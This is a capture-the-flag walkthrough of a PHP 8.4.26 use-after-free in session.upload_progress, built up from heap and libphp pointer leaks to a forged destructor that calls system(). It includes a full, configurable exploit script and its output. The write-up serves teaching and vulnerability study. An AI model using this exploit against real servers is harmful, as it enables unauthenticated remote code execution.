Powered by TryHackMe
session.upload_progress before request initialisation turns a single
out-of-memory bailout into two dangling session globals; the same primitive leaks the Zend
memory manager heap and the libphp.so base to defeat ASLR (CVE-2026-109618), then
overwrites a destructor pointer so PHP's own cleanup calls system()
(CVE-2026-109619).
This is a walk through PHP2Shell, a
TryHackMe room, but it is written as a deep-dive rather than a scorecard: the point is to
understand, end to end, how a single memory-safety bug in the PHP engine turns a page that only
prints OK into unauthenticated remote code execution (RCE).
The target is the official php:8.4.26-apache image behind a single-worker Apache
prefork. The whole attack rides on session.upload_progress, a feature that
initialises a session from inside the multipart/form-data body parser - before the
request environment even exists, and without the target page calling session_start().
An out-of-memory (OOM) bailout in that pre-init window leaves two session globals dangling, and
the same use-after-free (UAF) is reused three times:
libphp.so base from a fake HashTable's destructor (CVE-2026-109618, part 2),system() (CVE-2026-109619).Environment throughout: PHP 8.4.26, Debian 12, Apache 2.4.69, x86-64, mod_php.
The destination, first. The published reference exploit already does all of this in one command - two leaks, one shell:
$ python3 exploit.py -u http://127.0.0.1:8088/index.php
[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] offsets loaded from /home/ubuntu/php2shell-bypass-aslr-exp/out/offsets.env
[*] offsets: zif=0x465370 dtor=0x65eb60 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7b6ea5400000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7b6ea7164000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7b6ea54690d8 ZIF=0x7b6ea75c9370
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
The reference exploit.py: both leaks, stage 3, and
PROOF: uid=33(www-data) - then the room timed out and the box powered off.
Everything below rebuilds that result by hand, one move at a time, to see exactly why each step works. The dead ends are kept on purpose - they are where most of the understanding is.
The room spawns a box and gives SSH access; there is no file handout. The vulnerable service and the reference exploit repository both live on that box.
$ sshpass -p tryhackme ssh ubuntu@10.129.163.82
ubuntu@tryhackme-2404:~$ ls php2shell-bypass-aslr-exp
docker exploit.py out README.md ...
The vulnerable service is a Docker container (php2shell-target) listening on
127.0.0.1:8088. The page it serves is literally one line of PHP, so there is no
application logic to attack - the entire attack surface is the engine itself:
<?php echo "OK\n"; ?>
The banner names the exact build:
Server: Apache/2.4.69 (Debian)
X-Powered-By: PHP/8.4.26
The lab php.ini fixes the settings the chain depends on: single-worker prefork,
display_errors=On, memory_limit=8M, max_input_vars=1000,
session.use_strict_mode=0, session.upload_progress.enabled=On,
session.upload_progress.cleanup=On. The compose file bind-mounts the host
out/ directory to /out and the flag to /f - both matter
later for the 14-byte command budget. Each of these settings turns up again as a link in the
chain; section 8 lists which ones, and how removing any of them breaks it.
Every exploit stands on something built to be useful. Here it is
session.upload_progress: while PHP is still reading a multipart/form-data
body off the wire, it writes the upload's progress into $_SESSION so a second
request can report it back. The write happens from inside the body-parsing callbacks, which run
before the request environment is set up and before the target script executes. Reaching
that code needs no session_start() in the page, no login, no application logic - any
URL that accepts a POST is enough. That pre-execution window is the whole foothold.
To drive it, two things are needed: a field whose name matches
session.upload_progress.name (default PHP_SESSION_UPLOAD_PROGRESS), and
a real file part. The obvious first attempt - a quick curl - gets neither right.
session.upload_progress is written only from the RFC-1867
(multipart/form-data) parser. A plain curl --data sends
application/x-www-form-urlencoded, which that parser never sees.
$ curl -v -X POST --data 'PHP_SESSION_UPLOAD_PROGRESS=1' --data @1M -s http://127.0.0.1:8088/index.php
> POST /index.php HTTP/1.1
> Host: 127.0.0.1:8088
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 200 OK
< Server: Apache/2.4.69 (Debian)
< X-Powered-By: PHP/8.4.26
< Content-Type: text/html; charset=UTF-8
<
<br />
<b>Warning</b>: PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in <b>Unknown</b> on line <b>0</b><br />
OK
Conclusion: the only effect is the max_input_vars warning; no
session, no progress callback. The body has to be real multipart with a file part, which means
building it by hand.
A hand-built multipart body (PHPSESSID, the progress flag, a file
part) does create a session. Does the progress data stay readable afterwards?
$ python3 1claude.py
HTTP/1.1 200 OK
Server: Apache/2.4.69 (Debian)
X-Powered-By: PHP/8.4.26
Set-Cookie: PHPSESSID=af82f88138fb53fb3c5612961d926066; path=/
Content-Length: 3
Connection: close
Content-Type: text/html; charset=UTF-8
OK
$ docker exec php2shell-target ls -la /tmp/ | grep af82f88138fb53fb3c5612961d926066
-rw------- 1 www-data www-data 0 Oct 22 18:22 sess_af82f88138fb53fb3c5612961d926066
Conclusion: the session file exists but is 0 bytes.
session.upload_progress.cleanup=On deletes the progress entry the moment the upload
ends. The feature works exactly as designed, and on its own gives up nothing. To leak memory we
need the feature to misbehave - and that is the bug.
Why would a freed pointer survive into the next request at all? Because the worker is mod_php under prefork - one long-lived process per worker - and the bug makes PHP skip its own cleanup.
Request A sends a 12 MB form field. Form-field values are allocated on the heap (uploaded
files stream to disk and do not count against the limit), so this blows through
memory_limit=8M while php_session_initialize() is running
inside the pre-RINIT multipart callback. zend_bailout() does a longjmp
out of php_hash_environment() - and crucially, it jumps out before
PG(modules_activated)=1 is reached. At request shutdown that flag is still 0, so
zend_deactivate_modules() is skipped and the session module's request-shutdown never
runs, leaving its globals pointing at freed memory.
The three excerpts below are condensed from the PHP 8.4.26 source (git tag
php-8.4.26); the /* ... */ notes are mine, not part of the original.
The files are
main/main.c and
ext/session/session.c:
/* main/main.c - php_request_startup() */
php_hash_environment(); /* multipart parsed here -> session init -> OOM */
zend_activate_modules();
PG(modules_activated)=1; /* bailout jumps out before this runs */
} zend_catch { retval = FAILURE; } zend_end_try();
/* main/main.c - php_request_shutdown() */
/* 5. Call all extensions RSHUTDOWN functions */
if (PG(modules_activated)) { /* still 0 -> skipped */
zend_deactivate_modules(); /* session RSHUTDOWN never runs */
}
/* ext/session/session.c - php_session_track_init() */
/* Unconditionally destroy existing array -- possible dirty data */
if (!Z_ISUNDEF(PS(http_session_vars))) {
zval_ptr_dtor(&PS(http_session_vars)); /* fires our fake array */
}
Conclusion: one bug, two dangling globals. PS(id) is read
back when PHP builds the Set-Cookie header - that gives the leaks. And
PS(http_session_vars) is passed to zval_ptr_dtor() on the next
session init - that gives execution. Both are reached the same way: a request A to
dangle the pointer (OOM), then a request B, in the same worker, to re-occupy the freed block
with bytes we control.
Three stages, one primitive. Each sends the A/B pair from section 4; only what B puts in the reclaimed block, and how PHP reads it back, changes. To keep each worker starting from a clean heap, an HTTP-only worker rotation (abort the child, let prefork fork a fresh one with the same mappings) runs between stages.
Re-occupy the freed PS(id) with a zend_string whose
length field we set to 0x1000. When PHP builds the cookie it calls
php_url_encode(ZSTR_VAL, ZSTR_LEN) on that string, so it encodes 4096 bytes of
neighbouring heap straight into the Set-Cookie header.
$ python3 2claude.py
=== A: trigger the OOM bailout ========================================
--- request ----------------------------------------------------------
POST /index.php HTTP/1.1
Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS
(body: 1005 multipart fields, boundary=SSSSSSSSSSSSSSSSS)
[ 1002 filler parts ] name p0000 .. PHPSESSID value 1B each
name="PHP_SESSION_UPLOAD_PROGRESS" value 3B: pwn
name="f" filename="a.txt" value 64B: AAAAAAAA[... 64 x b'A' ...]
name="big" value 12582912B: BBBBBBBB[... 12582912 x b'B' ...]
HTTP/1.1 200 OK
<br />
<b>Warning</b>: PHP Request Startup: Input variables exceeded 1000. ... in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Warning</b>: PHP Request Startup: Session cookie cannot be sent after headers have already been sent in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Fatal error</b>: Allowed memory size of 8388608 bytes exhausted (tried to allocate 2098791 bytes) in <b>Unknown</b> on line <b>0</b><br />
=== B: re-occupy and leak =============================================
--- request ----------------------------------------------------------
POST /index.php HTTP/1.1
Content-Type: multipart/form-data; boundary=BBBBBBBBBB
(body: 844 multipart fields, boundary=BBBBBBBBBB)
name="PHPSESSID" value 19B: attacksessionid0001
name="PHP_SESSION_UPLOAD_PROGRESS" value 3B: pwn
[ 841 filler parts ] name 1000 .. 1840 value 48B each
name="1999" value 79B:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000010 00 10 00 00 00 00 00 00 4c 41 41 41 41 41 41 41
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
... 31 more bytes
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=LAAAAAAAA[... 47 x b'A' ...]%130%84%A0...%00%00; path=/
[*] cookie payload: 4096 bytes
00000000 4c 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000030 13 30 84 a0 c7 73 69 27 a0 70 2a 73 d7 77 00 00 <- ptr 0x77d7732a70a0 @+8
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000060 37 54 78 a2 56 ec a6 26 c0 70 2a 73 d7 77 00 00 <- ptr 0x77d7732a70c0 @+8
... 3584 more bytes
[+] heap pointers found, 98 of them agree
[+] Zend MM chunk base = 0x77d773200000
(Click to enlarge) Leak 1 on the wire: the forged 79-byte field, the 4 KB cookie, and the hexdump whose 2 MB-aligned pointers give the chunk base.
Conclusion: the most common 2 MB-aligned value among the 98 leaked
pointers is the Zend memory manager chunk base, 0x77d773200000. Half of ASLR is gone.
The heap base is not enough for system(); we need the
libphp.so base, i.e. a code address. This time B forges no bytes at all - it uses
array syntax (a0406[0], a0406[1], ...) so PHP builds a real
HashTable, and the dangling PS(id) lands on it. Read as a string, the HashTable's
own fields line up so that ZSTR_LEN is its nTableSize and the bytes that
follow are its pDestructor.
$ python3 3claude.py
########################################################################
# LEAK 2 - libphp leak via a real HashTable's pDestructor
########################################################################
=== A: trigger the OOM bailout ========================================
--- request ----------------------------------------------------------
(body: 1005 multipart fields, boundary=SSSSSSSSSSSSSSSSS)
[ 1001 filler parts ] name f0000 .. f1000 value 39B each
name="PHPSESSID" value 1B: \x00
name="PHP_SESSION_UPLOAD_PROGRESS" value 3B: pwn
name="f" filename="a.txt" value 64B: AAAAAAAA[... 64 x b'A' ...]
name="big" value 12582912B: BBBBBBBB[... 12582912 x b'B' ...]
[*] B sprays 983 arrays; index a0406 carries 16 elements
=== B: re-occupy with a HashTable and leak ============================
(body: 1000 multipart fields, boundary=BBBBBBBBBB)
name="PHPSESSID" value 19B: attacksessionid0001
name="PHP_SESSION_UPLOAD_PROGRESS" value 3B: pwn
[ 998 filler parts ] name a0000[0] .. a0982[0] value 16B each
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=%10%00%00%00%00%00%00%00%60%DB%5Cu%D7w%00%00; path=/
<br />
<b>Warning</b>: PHP Request Startup: Session ID is too long or contains illegal characters. ... in <b>Unknown</b> on line <b>0</b><br />
[*] cookie payload: 16 bytes
00000000 10 00 00 00 00 00 00 00 60 db 5c 75 d7 77 00 00 <- ptr 0x77d7755cdb60 @+8
[*] nNextFreeElement = 0x10
[*] pDestructor = 0x77d7755cdb60
[+] pDestructor is ZVAL_PTR_DTOR (libphp+0x65eb60)
[+] libphp base = 0x77d774f6f000
========================================================================
SUMMARY
Zend MM chunk base : 0x77d773200000
libphp base : 0x77d774f6f000
Conclusion: ZSTR_LEN reads nTableSize=16, so only
16 bytes come back; bytes 8..16 are pDestructor = ZVAL_PTR_DTOR. Its low 12 bits are
ASLR-invariant (page offset), which confirms the function, and
pDestructor - 0x65eb60 gives libphp base = 0x77d774f6f000. ASLR is fully
defeated; CVE-2026-109618 is complete.
Now the second dangling pointer. php_session_track_init() calls
zval_ptr_dtor() on PS(http_session_vars) ("unconditionally destroy possible dirty data"). We overwrite it with a fake reference to a fake array whose
pDestructor is zif_system, with the command string placed where the
destructor's argument will be read.
$ python3 4claude.py
########################################################################
# LEAK 1 - heap leak -> Zend MM chunk base
########################################################################
[+] Zend MM chunk base = 0x77d773200000
########################################################################
# LEAK 2 - libphp leak -> libphp base
########################################################################
[+] libphp base = 0x77d774f6f000
########################################################################
# STAGE 3 - CVE-109619: fake array -> zif_system
########################################################################
[*] HTDATA = 0x77d7732690d8 ZIF = 0x77d7753d4370 cmd = b'id>/out/p'
=== A3: re-dangle and pin R0 ==========================================
(body: 10 multipart fields, boundary=SSSSSSSSSSSSSSSSS)
name="PHPSESSID" value 19B: aaaaaaaaaaaaaaaaaaa
name="PHP_SESSION_UPLOAD_PROGRESS" value 3B: ppp
[ 6 filler parts ] name p00..000000 .. p00..000005 value 31B each
name="f" filename="a.txt" value 64B: AAAAAAAA[... 64 x b'A' ...]
name="big" value 12582912B: BBBBBBBB[... 12582912 x b'B' ...]
--- fake array (167B), sprayed 15x so one lands at HTDATA ---
00000000 01 00 00 00 07 00 00 00 10 00 00 00 f8 ff ff ff
00000010 f8 90 26 73 d7 77 00 00 01 00 00 00 01 00 00 00 <- arData
00000030 70 43 3d 75 d7 77 00 00 00 00 00 00 00 00 00 00 <- pDestructor = zif_system
0x00000098 69 64 3e 2f 6f 75 74 2f 70 <- command b'id>/out/p'
--- carrier (15B) overwriting PS(http_session_vars).val ---
00000000 01 00 00 00 1a 00 00 00 d8 90 26 73 d7 77 00
=== B3: plant the fake array and fire =================================
(body: 20 multipart fields, boundary=BBBBBBBBBB)
name="f00" value 15B: FFFFFFFFFFFFFFF
name="g00" value 15B: \x01\x00\x00\x00\x1a\x00\x00\x00\xd8\x90&s\xd7w\x00
[ 15 filler parts ] name a00..000000 .. a00..000014 value 167B each
[*] payload delivered; command ran inside the worker
========================================================================
PROOF (/home/ubuntu/php2shell-bypass-aslr-exp/out/p): uid=33(www-data) gid=33(www-data) groups=33(www-data)
Conclusion: the destructor chain
zval_ptr_dtor -> zend_array_destroy -> pDestructor(&bucket->val) becomes
system("id>/out/p"), and PROOF shows uid=33(www-data).
No libc is needed - the final call stays inside libphp.
The RCE runs one command at a time, and the command is capped at 14 bytes (section 7 explains
why). That is enough to map the target and find the flag - but it is a tight budget, and even
recon bumps into it: ls -li is one byte too long, so the tool refuses it before
sending.
$ python3 4claude.py 'ls -li />/out/p'
[-] cmd is 15 bytes; the carrier allows at most 14. Write a script to /out/c and run: 4claude.py 'sh</out/c'
$ python3 4claude.py 'ls -i />/out/p'
...
PROOF (/home/ubuntu/php2shell-bypass-aslr-exp/out/p): 512906 bin
512907 boot
1 dev
532572 etc
532769 f
532769 flag.txt
513093 home
513094 lib
513095 lib64
mount (12 bytes) confirms the picture and shows the writable surface (trimmed to
the relevant lines):
$ python3 4claude.py 'mount>/out/p'
...
overlay on / type overlay (rw,relatime,lowerdir=...,upperdir=...,workdir=...,nouserxattr)
/dev/root on /out type ext4 (rw,relatime,discard)
/dev/root on /f type ext4 (ro,relatime,discard)
/dev/root on /flag.txt type ext4 (ro,relatime,discard)
/dev/root on /var/www/html type ext4 (ro,relatime,discard)
/dev/root on /usr/local/etc/php/conf.d/zz-php2shell.ini type ext4 (ro,relatime,discard)
Conclusion: /f and /flag.txt share inode
532769 and are two separate read-only bind mounts of the same /dev/root
source - so /f is a second name for the flag, not a hardlink anyone created. The
mounts also show /out as the only rw surface (our exfiltration channel)
while /var/www/html is ro, so a classic PHP webshell drop is off the
table and the memory-corruption path is the intended way in. Of the 14 bytes, the redirect
>/out/p already eats 7, leaving just 7 bytes for the command itself:
cat /f is 6, ls -i / is 7, right at the edge.
The full by-hand chain, 4claude.py: the two leaks, then stage 3, reading the
command output back from the /out bind mount. The 14-byte cap comes from the
167-byte fake zend_string carrier that holds the command (167 - 0x98 - 1).
$ cat 4claude.py
#!/usr/bin/env python3
"""PHP2Shell end to end, by hand: CVE-2026-109618 (both leaks) + 109619 (RCE).
Leak 1 PS(id) -> forged zend_string (len=0x1000) -> Zend MM chunk base
Leak 2 PS(id) -> a real HashTable's pDestructor -> libphp base
Stage 3 PS(http_session_vars) -> fake reference -> fake array whose
pDestructor = zif_system, called by zval_ptr_dtor with our command
The first two only READ (via php_url_encode into Set-Cookie). Stage 3 does not
read anything: it overwrites the SECOND dangling pointer that the same OOM
bailout left behind, so that PHP's own cleanup calls system("<cmd>").
Target: the lab container (docker/docker-compose.yml), official
php:8.4.26-apache, single-worker prefork. Byte layout and calibration taken
from the project's exploit.py (bookworm profile).
"""
import argparse
import os
import re
import socket
import struct
import time
import urllib.parse
HOST, PORT = "127.0.0.1", 8088
SID = b"attacksessionid0001"
# Command system() will run. The 167-byte carrier leaves room for 14 bytes.
CMD = b"id>/out/p"
PROOF_CANDIDATES = ["out/p", os.path.expanduser("~/php2shell-bypass-aslr-exp/out/p")]
# --- calibration (official php:8.4.26-apache) ------------------------------
N_FILL = 841 # leak 1: 48-byte filler count
STAGE2_T = 406 # leak 2: which sprayed array gets 16 elements
STAGE2_V = 16 # leak 2: element value length
STAGE3_PADS = [(31, 31)] * 6 # stage 3: name/value lengths that pin R0
# --- libphp offsets (official image) ---------------------------------------
DTOR_OFFSET = 0x65EB60 # ZVAL_PTR_DTOR
ZIF_OFFSET = 0x465370 # zif_system
HTDATA_OFFSET = 0x690D8 # chunk-relative live 167-byte string we overwrite
MAX_CMD = 14
def fold(raw, maxlen=2000):
out = re.sub(rb"(.)\1{31,}",
lambda m: m.group(1) * 8 + b"[... %d x %r ...]" % (len(m.group(0)), m.group(1)),
raw)[:maxlen]
out = re.sub(rb"[\x00-\x08\x0b\x0c\x0e-\x1f\x7f-\xff]",
lambda m: b"\\x%02x" % m.group(0)[0], out)
return out.decode("latin1")
def hexdump(data, width=16, limit=None, notes=None):
"""Uniform hex view; tags heap pointers and any offsets in `notes`."""
notes = notes or {}
end = len(data) if limit is None else min(len(data), limit)
for off in range(0, end, width):
row = data[off:off + width]
cells = " ".join(f"{b:02x}" for b in row)
tag = ""
for i in range(max(0, len(row) - 7)):
v = int.from_bytes(row[i:i + 8], "little")
if 0x600000000000 <= v < 0x800000000000:
tag = f" <- ptr {v:#014x} @+{i}"
break
for noff, label in notes.items():
if off <= noff < off + width:
tag = f" <- {label}"
print(f" {off:08x} {cells:<{width * 3}}{tag}")
if end < len(data):
print(f" ... {len(data) - end} more bytes")
def show_request(parts, boundary, header):
print("--- request " + "-" * 58)
print(header.decode("latin1").rstrip())
print(f" (body: {len(parts)} multipart fields, boundary={boundary.decode()})")
i = 0
while i < len(parts):
name, data, fn = parts[i]
j = i
while (j < len(parts) and parts[j][2] is None
and len(parts[j][1]) == len(data) and fn is None):
j += 1
if j - i >= 4:
lo = parts[i][0].decode("latin1", "replace")
hi = parts[j - 1][0].decode("latin1", "replace")
print(f" [ {j - i} filler parts ] name {lo} .. {hi} value {len(data)}B each")
i = j
continue
head = f'name="{name.decode("latin1", "replace")}"'
if fn:
head += f' filename="{fn.decode("latin1", "replace")}"'
if fn is None and 32 <= len(data) <= 256:
print(f" {head} value {len(data)}B:")
hexdump(data, limit=0x30)
else:
print(f" {head} value {len(data)}B: {fold(data, 48)}")
i += 1
print()
def send(parts, boundary, show=False, timeout=90, extra_headers=None):
body = b""
for name, data, fn in parts:
body += b"--" + boundary + b"\r\n"
body += b'Content-Disposition: form-data; name="' + name + b'"'
if fn:
body += b'; filename="' + fn + b'"\r\nContent-Type: application/octet-stream'
body += b"\r\n\r\n" + data + b"\r\n"
body += b"--" + boundary + b"--\r\n"
hdr = (b"POST /index.php HTTP/1.1\r\n"
b"Host: " + HOST.encode() + b":" + str(PORT).encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n")
if extra_headers:
for k, v in extra_headers.items():
hdr += k.encode() + b": " + v.encode() + b"\r\n"
hdr += b"Connection: close\r\n\r\n"
if show:
show_request(parts, boundary, hdr)
s = socket.create_connection((HOST, PORT), timeout=timeout)
s.settimeout(timeout)
s.sendall(hdr + body)
resp = b""
try:
while True:
chunk = s.recv(65536)
if not chunk:
break
resp += chunk
except socket.timeout:
pass
s.close()
return resp
def cookie_bytes(resp):
m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp)
return urllib.parse.unquote_to_bytes(m.group(1).decode("latin1")) if m else b""
def oom_request(filler_prefix, filler_val):
"""Request A: OOM inside session init, dangling PS(id) and
PS(http_session_vars)."""
parts = [(f"{filler_prefix}{i:04d}".encode(), filler_val, None) for i in range(1001)]
parts += [(b"PHPSESSID", b"\x00", None),
(b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn", None),
(b"f", b"A" * 64, b"a.txt"),
(b"big", b"B" * (12 << 20), None)]
return parts
def rotate():
a = [(f"f{i:04d}".encode(), b"V" * 3000, None) for i in range(1001)]
a += [(b"PHPSESSID", b"\x00", None),
(b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn", None),
(b"f", b"A" * 64, b"a.txt"),
(b"big", b"B" * (12 << 20), None)]
send(a, boundary=b"S" * 17)
time.sleep(0.3)
send([(b"PHPSESSID", SID, None), (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn", None)],
boundary=b"BNDRY12345", timeout=20)
time.sleep(0.5)
def leak1():
print("#" * 72 + "\n# LEAK 1 - heap leak -> Zend MM chunk base\n" + "#" * 72)
send(oom_request("p", b"x"), boundary=b"S" * 17)
time.sleep(0.2)
B = [(b"PHPSESSID", SID, None), (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn", None)]
for i in range(N_FILL):
B.append((str(1000 + i).encode(), (f"v{i:04d}" + "x" * 44)[:48].encode(), None))
forge = bytearray(b"A" * 79)
struct.pack_into("<Q", forge, 0x10, 0x1000)
forge[0x18] = ord("L")
B.append((b"1999", bytes(forge), None))
raw = cookie_bytes(send(B, boundary=b"B" * 10))
if len(raw) < 1000:
return None
hits = {}
for i in range(len(raw) - 8):
v = int.from_bytes(raw[i:i + 8], "little")
if 0x600000000000 <= v < 0x800000000000:
hits[v & ~0x1FFFFF] = hits.get(v & ~0x1FFFFF, 0) + 1
base = max(hits.items(), key=lambda kv: kv[1])[0] if hits else None
print(f"[+] Zend MM chunk base = {base:#x}" if base else "[-] leak 1 failed")
return base
def leak2():
print("\n" + "#" * 72 + "\n# LEAK 2 - libphp leak -> libphp base\n" + "#" * 72)
send(oom_request("f", b"x" * 39), boundary=b"S" * 17)
time.sleep(0.2)
B = [(b"PHPSESSID", SID, None), (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn", None)]
for i in range(983):
for j in range(16 if i == STAGE2_T else 1):
B.append((f"a{i:04d}[{j}]".encode(), b"x" * STAGE2_V, None))
raw = cookie_bytes(send(B, boundary=b"B" * 10))
if len(raw) < 16:
print("[-] leak 2 failed")
return None
pdtor = int.from_bytes(raw[8:16], "little")
if pdtor & 0xFFF != DTOR_OFFSET & 0xFFF:
print(f"[-] leak 2: {pdtor:#x} is not ZVAL_PTR_DTOR")
return None
base = pdtor - DTOR_OFFSET
print(f"[+] libphp base = {base:#x}")
return base
def fake_payload(htdata, zif, cmd):
"""Byte-for-byte from exploit.py: a fake array (pDestructor=zif_system)
plus a fake zend_string holding the command, and the 55-byte reference."""
if len(cmd) > MAX_CMD:
raise ValueError(f"cmd is {len(cmd)}B, carrier allows {MAX_CMD}")
ht = bytearray(b"\x00" * 167)
struct.pack_into("<II", ht, 0x00, 1, 7) # gc: rc=1, IS_ARRAY
struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8) # flags, nTableMask
struct.pack_into("<Q", ht, 0x10, htdata + 0x20) # arData
struct.pack_into("<II", ht, 0x18, 1, 1) # nNumUsed/OfElements
struct.pack_into("<II", ht, 0x20, 8, 0) # nTableSize/pointer
struct.pack_into("<Q", ht, 0x28, 0) # nNextFreeElement
struct.pack_into("<Q", ht, 0x30, zif) # pDestructor = zif_system
E = 0x20 # fake execute_data
struct.pack_into("<Q", ht, E + 0x00, 0)
struct.pack_into("<Q", ht, E + 0x08, 0)
struct.pack_into("<Q", ht, E + 0x10, zif)
struct.pack_into("<Q", ht, E + 0x18, 0)
struct.pack_into("<Q", ht, E + 0x20, 0)
struct.pack_into("<I", ht, E + 0x28, 0)
struct.pack_into("<I", ht, E + 0x2C, 1) # num_args = 1
struct.pack_into("<Q", ht, E + 0x30, 0)
struct.pack_into("<Q", ht, E + 0x38, 0)
struct.pack_into("<I", ht, E + 0x40, 0)
struct.pack_into("<Q", ht, E + 0x50, htdata + 0x80) # arg1 value -> cmd string
struct.pack_into("<I", ht, E + 0x58, 6) # arg1 IS_STRING
struct.pack_into("<II", ht, 0x80, 1, 0x106) # fake zend_string gc
struct.pack_into("<Q", ht, 0x88, 0)
struct.pack_into("<Q", ht, 0x90, len(cmd)) # len
ht[0x98:0x98 + len(cmd)] = cmd
ht[0x98 + len(cmd)] = 0
ref = bytearray(b"X" * 55)
struct.pack_into("<II", ref, 0x10, 1, 10) # IS_REFERENCE
struct.pack_into("<Q", ref, 0x18, htdata) # val.value -> fake array
struct.pack_into("<Q", ref, 0x20, 0x307) # IS_ARRAY_EX
struct.pack_into("<Q", ref, 0x28, 0)
return bytes(ht), bytes(ref)
def stage3(chunk, libphp, cmd):
print("\n" + "#" * 72 + "\n# STAGE 3 - CVE-109619: fake array -> zif_system\n" + "#" * 72)
htdata = chunk + HTDATA_OFFSET
zif = libphp + ZIF_OFFSET
print(f"[*] HTDATA = {htdata:#x} ZIF = {zif:#x} cmd = {cmd!r}")
# A3: OOM again to re-dangle, with 6 pads that pin the reference R0 to a
# known chunk offset. The extra Cookie keeps PS(id) valid so B's init
# leaves send_cookie=0 (no Set-Cookie write that would clobber val.type).
A = [(b"PHPSESSID", b"a" * 19, None),
(b"PHP_SESSION_UPLOAD_PROGRESS", b"p" * 3, None)]
for i, (nl, vl) in enumerate(STAGE3_PADS):
A.append(((f"p{i:0{nl - 1}d}")[:nl].encode(), b"V" * vl, None))
A += [(b"f", b"A" * 64, b"a.txt"), (b"big", b"B" * (12 << 20), None)]
print("\n=== A3: re-dangle and pin R0 " + "=" * 42)
send(A, boundary=b"S" * 17, show=True,
extra_headers={"Cookie": "PHPSESSID=" + "a" * 32})
time.sleep(0.3)
ht, ref = fake_payload(htdata, zif, cmd)
# Show the forged array once, annotated - this is the heart of stage 3.
print("--- fake array (167B), sprayed 15x so one lands at HTDATA ---")
hexdump(ht, limit=0x40, notes={0x10: "arData",
0x30: "pDestructor = zif_system"})
print(f" 0x00000098 {' '.join(f'{b:02x}' for b in ht[0x98:0x98+len(cmd)])}"
f" <- command {cmd!r}\n")
# B3 (carrier path): a 15-byte zend_string that lands exactly on
# PS(http_session_vars) and rewrites the low 7 bytes of val.value to point
# at our fake array, keeping the high byte 0x00 (canonical 0x00007f...).
carrier = struct.pack("<II", 1, 0x1A) + struct.pack("<Q", htdata)[:7]
print("--- carrier (15B) overwriting PS(http_session_vars).val ---")
hexdump(carrier)
print()
B = [(b"PHPSESSID", SID, None), (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn", None)]
for i in range(2):
B.append((f"f{i:02d}".encode(), b"F" * 15, None))
B.append((b"g00", carrier, None))
for i in range(15):
B.append(((f"a{i:030d}")[:31].encode(), ht, None))
print("=== B3: plant the fake array and fire " + "=" * 33)
send(B, boundary=b"B" * 10, show=True, timeout=30)
# No Set-Cookie to read: the payload runs server-side via
# php_session_track_init -> zval_ptr_dtor(PS(http_session_vars))
# -> reference destroy -> zval_ptr_dtor(&ref->val) [IS_ARRAY_EX]
# -> zend_array_destroy -> pDestructor(&bucket->val) = zif_system(cmd)
print("[*] payload delivered; command ran inside the worker")
if __name__ == "__main__":
ap = argparse.ArgumentParser(
formatter_class=argparse.RawDescriptionHelpFormatter,
description="PHP2Shell end-to-end: two info leaks defeat ASLR, then a\n"
"fake array makes PHP call system() on your command.",
epilog=f"""
how the command works
---------------------
* It runs server-side as system("<cmd>") inside the Apache worker (uid
www-data). Its stdout does NOT come back over HTTP - the page only ever
prints "OK". To SEE output, redirect it into the mounted file /out/p,
which this script reads back at the end.
* HARD LIMIT: the command must be at most {MAX_CMD} bytes. It is carried
inside a 167-byte fake zend_string and that is all the room there is.
examples
--------
./4claude.py # default: id>/out/p (9 bytes)
./4claude.py 'cat /f>/out/p' # read the THM flag (13 bytes)
./4claude.py 'whoami>/out/p' # 13 bytes
longer commands ({MAX_CMD} bytes is not enough?)
------------------------------------------
Write the real command to a file first, then run it with a short one:
printf 'uname -a; id > /out/p\\n' > out/c
./4claude.py 'sh</out/c' # 8 bytes, runs the whole script
""")
ap.add_argument("cmd", nargs="?", default=CMD.decode(), metavar="COMMAND",
help=f"command to run (<= {MAX_CMD} bytes; default: %(default)s)")
ap.add_argument("--host", default=HOST, help="target host (default: %(default)s)")
ap.add_argument("--port", type=int, default=PORT, help="target port (default: %(default)s)")
args = ap.parse_args()
HOST, PORT = args.host, args.port
cmd = args.cmd.encode()
if len(cmd) > MAX_CMD:
raise SystemExit(f"[-] cmd is {len(cmd)} bytes; the carrier allows at most "
f"{MAX_CMD}. Write a script to /out/c and run: "
f"4claude.py 'sh</out/c'")
rotate(); chunk = leak1()
rotate(); libphp = leak2()
if not (chunk and libphp):
raise SystemExit("[-] a leak failed; rerun or sweep calibration")
rotate()
stage3(chunk, libphp, cmd)
time.sleep(0.5)
print("\n" + "=" * 72)
# Only read /out/p when the command actually redirected there; otherwise a
# bare command like `whoami` writes nothing and the leftover from an earlier
# run would masquerade as this run's output. We cannot delete /out/p to
# avoid that: it is owned by www-data through the container mount.
if b"/out/p" not in cmd:
print(f"Command {cmd.decode()!r} ran server-side (uid www-data), but its")
print("stdout does not come back over HTTP. Redirect to see it, e.g.")
